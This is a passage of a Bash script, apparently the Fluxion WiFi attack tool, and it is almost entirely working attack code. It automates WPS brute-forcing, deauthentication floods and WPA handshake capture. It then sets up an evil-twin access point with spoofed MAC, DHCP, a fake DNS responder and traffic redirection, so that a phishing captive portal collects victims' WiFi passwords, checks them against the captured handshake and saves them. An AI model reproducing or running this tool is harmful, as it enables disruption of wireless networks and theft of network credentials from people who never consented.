-menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC5 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL5 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC5 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL5 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - -esac - -} -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake location (Example: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green}MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "File ${red}NOT$transparent present" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$blue"2)"$transparent" pyrit" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$blue"1)"$transparent" Deauth all" - echo -e " "$blue"2)"$transparent" Deauth all [mdk3]" - echo -e " "$blue"3)"$transparent" Deauth target " - echo -e " "$blue"4)"$transparent" Rescan networks " - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$blue"1)"$transparent" Yes" - echo -e " "$blue"2)"$transparent" Strike again " - echo -e " "$blue"3)"$transparent" No (Select another attack)" - echo -e " "$blue"4)"$transparent" Select another network" - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$blue""1)"$transparent" Web Interface" - echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$blue""1)"$transparent" English [ENG]" - echo -e "$blue""2)"$transparent" Spanish [ESP]" - echo -e "$blue""3)"$transparent" Italy [IT]" - echo -e "$blue""4)"$transparent" French [FR]" - echo -e "$blue""5)"$transparent" Portuguese [POR]" - echo -e "$blue""6)"$transparent" German [GER]" - echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -#create an empty leases file -touch $DUMP_PATH/dhcpd.leases - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" >$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Attack in progress .." - echo " " - echo " 1) Choose another network" - echo " 2) Exit" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Checks the validity of the password -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - timestamp=\$(date +%s) - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) - - echo - echo -e \" ACCESS POINT:\" - echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" - echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" - echo - echo -e \" CLIENTS ONLINE:\" - - x=0 - for cliente in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then - CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" - fi - - CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$CLIENTE_MAC| grep -q x; then - CLIENTE_FABRICANTE=\"unknown\" - fi - - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) - - echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$(date +%s)-\$timestamp - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MODEL) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < ATTACK > ############################################ - - - - - - -############################################## < STUFF > ############################################ - -# Deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# Deauth to a specific target -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Close all processes -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -############################################## < STUFF > ############################################ - - - - - - -######################################### < INTERFACE WEB > ######################################## - -# Create the contents for the web interface -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "UEsDBBQAAAAIAEZ8zkSJ9HAPjoIAAMRtAQATABwAanF1ZXJ5LTEuOC4zLm1pbi5qc1VUCQADVE+c -U1RPnFN1eAsAAQQAAAAABAAAAACcfWl720aW7vf7K0RMRg2YRUrM0tMDCuZ4vXbfeOnYnaSHYvJA -ZFGCDQEMFi0h+d/nvKcWFEDIyZ08joil1lOnzl4HJ48GR5/+Ucvi/uhmMv7b+JujT7/hbrzMr492 -5iYvLk/SZCmzUh49Ovk//rrOllWSZ74UVbA1d0e/+jLY3sTFURW9mctFtN1PC1nVRXZ0M5bx8sqX -43KTJpV/HwiniSzYVvNsEQ1O94Go9ra5V3gnimCbrP0iiqLq+FiOs3wlP95vJN1PVGdJ5K3iKh55 -w2xcyE0aL6X/XnijryZeMK7y7/NbWTyLS+kH0yKS40tZPamqIrmoK+knwZQar6i9fH1EfXglvcku -PRpRcb8tInTrVUUtvdngNOS7dZyWuJ2o26xOU2+Gv+GwGHoePStmwyJ8Pq5kWflFMLsZb+KilH// -8O4t3YbFfhlXBIsy2O5vxhi5nuZeUsM0iGqvgVY0oHhqITtd54VfHSXZkWTAVBgEWvGOj2/GSfni -elPdv7v4JJeVL+fVIgiWeVYlWS15pgPMJ8dYvEB1M5jo/gj8tj9Z+cHWvrePK+exU7quMDz9XO52 -A4kpy6x6S4u127l3rfVzWo4rhUur/EhGGPf09ipJpS/dNR9gzQ1KyabymiszHkXVbneKmQIWLw2O -VUFgEfGScISKO/hXGDwaDKrxMk5TPBPS9pTQWLO9whQ7lj9o0AwSaOtUV4hWuYiGrouop5mmkRbQ -VEtJpfDLndk6SStJyEGDH2TBtIrcR8H+Tw2YwJY9KYr4npfjcXSqBt/AOq2aTb6s9H72dl4gMtpc 